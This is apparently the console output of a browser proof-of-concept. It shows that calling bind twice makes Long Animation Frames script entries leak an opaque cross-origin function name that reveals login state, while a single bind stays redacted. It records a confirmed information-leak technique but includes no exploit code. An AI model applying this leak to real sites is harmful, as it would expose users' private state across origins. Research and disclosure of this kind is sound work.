[run] starting server... [run] launching chrome -> /poc-artifacts/chrome.log ===================== POC OUTPUT ===================== [POC] hidden=false supported=true [POC] script: {"invokerType":"user-callback","invoker":"FrameRequestCallback","sourceURL":"http://localhost:18081/sdk.js","sourceFunctionName":"","sourceCharPosition":-1} [POC] script: {"invokerType":"user-callback","invoker":"FrameRequestCallback","sourceURL":"","sourceFunctionName":"bound secretHandler_LOGGED_IN","sourceCharPosition":-1} [POC] rAF callbacks fired: 2, LoAF script entries: 2 [POC] [POC] === RESULT ============================================= [POC] VULNERABILITY CONFIRMED: opaque cross-origin function name leaked: "bound secretHandler_LOGGED_IN" [POC] Control (1x bind) correctly redacted: true [POC] ======================================================== ====================================================== [run] SUCCESS: opaque function name leaked via double-bind.